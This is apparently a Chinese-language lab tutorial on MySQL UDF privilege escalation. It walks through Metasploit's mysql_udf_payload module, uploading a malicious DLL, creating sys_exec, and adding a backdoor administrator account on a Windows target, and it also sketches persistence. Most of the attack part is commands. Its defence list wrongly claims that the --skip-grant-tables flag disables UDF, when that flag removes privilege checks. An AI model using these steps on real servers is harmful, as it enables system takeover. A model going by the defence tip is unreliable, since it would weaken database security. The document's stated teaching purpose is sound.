MYSQL UDF提权
字数 1319 2025-09-01 11:26:03

MySQL UDF提权技术详解

一、UDF提权概述

UDF (User Defined Function)即用户自定义函数,是MySQL的一个扩展接口,允许用户通过添加新函数来扩充MySQL的功能。UDF提权是利用MySQL的自定义函数功能,构造特定的DLL文件将MySQL账号权限提升至系统SYSTEM权限。

原理说明

  • MySQL提供了添加新函数的机制,用户可自行编写函数
  • 这些函数通过动态链接库(DLL)形式实现
  • 当MySQL以高权限运行时,通过调用恶意DLL可实现权限提升

二、实验环境准备

所需设备

  • 攻击机:Kali Linux 1台
  • 目标服务器:Windows Server 2008 1台
  • 网络设备:防火墙1台,路由器1台

软件工具

  • Metasploit框架(包含udf_payload模块)
  • MySQL数据库

前提条件

  • 已获取MySQL数据库的有效凭据
    • 用户名:mysqluser1
    • 密码:user1mysql
    • 目标IP:202.1.10.34

三、详细操作步骤

1. 信息收集阶段

(1) 连接MySQL数据库

在Kali Linux终端执行:

mysql -umysqluser1 -puser1mysql -h 202.1.10.34

参数说明:

  • -u:指定数据库用户名
  • -p:指定数据库密码
  • -h:指定远程数据库主机IP

(2) 切换系统数据库

连接成功后执行:

use mysql;

2. UDF提权实施

(1) 使用Metasploit生成恶意DLL

在Kali中启动msfconsole:

msfconsole

使用udf_payload模块:

use exploit/multi/mysql/mysql_udf_payload
set RHOSTS 202.1.10.34
set USERNAME mysqluser1
set PASSWORD user1mysql
exploit

(2) 手动上传DLL方法(备选)

如果自动上传失败,可手动操作:

  1. 查找MySQL插件目录:
show variables like '%plugin%';
  1. 将编译好的恶意DLL上传至插件目录

(3) 创建UDF函数

create function sys_exec returns string soname '恶意DLL文件名';

常用函数:

  • sys_exec:执行系统命令
  • sys_eval:执行系统命令并返回输出

(4) 执行系统命令

select sys_exec('whoami');

3. 权限提升验证

执行高权限命令验证提权是否成功:

select sys_exec('net user hacker P@ssw0rd /add');
select sys_exec('net localgroup administrators hacker /add');

四、关键技术点

  1. MySQL权限要求

    • 需要具备MySQL的INSERT和DELETE权限
    • MySQL服务需以高权限账户运行(通常为SYSTEM)
  2. DLL存放位置

    • Windows:MySQL插件目录(通过show variables like '%plugin%';查询)
    • Linux:/usr/lib/mysql/plugin/
  3. 函数类型

    • 执行型:直接执行系统命令
    • 回显型:执行命令并返回结果
  4. 防御措施

    • 限制MySQL运行账户权限
    • 禁用UDF功能(添加--skip-grant-tables参数)
    • 设置secure_file_priv限制文件导入导出

五、注意事项

  1. 不同MySQL版本对UDF的支持可能有差异
  2. 现代安全设备可能检测异常DLL加载行为
  3. 操作前建议先备份数据库
  4. 实验环境需与生产环境隔离

六、扩展知识

  1. 自定义DLL开发

    • 可使用C/C++开发特定功能的UDF
    • 需遵循MySQL UDF接口规范
  2. 跨平台利用

    • Windows使用.dll文件
    • Linux使用.so文件
  3. 持久化技术

    • 通过UDF创建启动项
    • 建立数据库触发器维持访问

通过掌握MySQL UDF提权技术,安全人员可以更好地理解数据库安全风险,并采取有效措施进行防御。

MySQL UDF提权技术详解 一、UDF提权概述 UDF (User Defined Function)即用户自定义函数,是MySQL的一个扩展接口,允许用户通过添加新函数来扩充MySQL的功能。UDF提权是利用MySQL的自定义函数功能,构造特定的DLL文件将MySQL账号权限提升至系统SYSTEM权限。 原理说明 MySQL提供了添加新函数的机制,用户可自行编写函数 这些函数通过动态链接库(DLL)形式实现 当MySQL以高权限运行时,通过调用恶意DLL可实现权限提升 二、实验环境准备 所需设备 攻击机:Kali Linux 1台 目标服务器:Windows Server 2008 1台 网络设备:防火墙1台,路由器1台 软件工具 Metasploit框架(包含udf_ payload模块) MySQL数据库 前提条件 已获取MySQL数据库的有效凭据 用户名:mysqluser1 密码:user1mysql 目标IP:202.1.10.34 三、详细操作步骤 1. 信息收集阶段 (1) 连接MySQL数据库 在Kali Linux终端执行: 参数说明: -u :指定数据库用户名 -p :指定数据库密码 -h :指定远程数据库主机IP (2) 切换系统数据库 连接成功后执行: 2. UDF提权实施 (1) 使用Metasploit生成恶意DLL 在Kali中启动msfconsole: 使用udf_ payload模块: (2) 手动上传DLL方法(备选) 如果自动上传失败,可手动操作: 查找MySQL插件目录: 将编译好的恶意DLL上传至插件目录 (3) 创建UDF函数 常用函数: sys_exec :执行系统命令 sys_eval :执行系统命令并返回输出 (4) 执行系统命令 3. 权限提升验证 执行高权限命令验证提权是否成功: 四、关键技术点 MySQL权限要求 : 需要具备MySQL的INSERT和DELETE权限 MySQL服务需以高权限账户运行(通常为SYSTEM) DLL存放位置 : Windows:MySQL插件目录(通过 show variables like '%plugin%'; 查询) Linux:/usr/lib/mysql/plugin/ 函数类型 : 执行型:直接执行系统命令 回显型:执行命令并返回结果 防御措施 : 限制MySQL运行账户权限 禁用UDF功能(添加 --skip-grant-tables 参数) 设置 secure_file_priv 限制文件导入导出 五、注意事项 不同MySQL版本对UDF的支持可能有差异 现代安全设备可能检测异常DLL加载行为 操作前建议先备份数据库 实验环境需与生产环境隔离 六、扩展知识 自定义DLL开发 : 可使用C/C++开发特定功能的UDF 需遵循MySQL UDF接口规范 跨平台利用 : Windows使用.dll文件 Linux使用.so文件 持久化技术 : 通过UDF创建启动项 建立数据库触发器维持访问 通过掌握MySQL UDF提权技术,安全人员可以更好地理解数据库安全风险,并采取有效措施进行防御。